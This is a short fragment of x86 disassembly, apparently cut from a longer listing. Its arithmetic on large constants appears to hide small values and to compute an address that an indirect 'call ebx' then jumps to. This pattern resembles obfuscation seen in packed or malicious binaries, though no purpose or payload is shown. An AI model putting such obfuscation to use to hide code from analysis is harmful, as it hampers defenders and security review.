add esi, 0xb97f5f84
sub esi, 0xb97f5f80
loop 0x42e11d
add eax, 0x1f0aae
sub eax, 0x1df3ff
xor ebx, ebx
add ebx, eax
add eax, 0xaa80eab9
add eax, 0x557f154c
mov ecx, 0xbb3b7f00
sub ecx, 0xbafb7f00
add ecx, dword [ebp - 0x14]
call ebx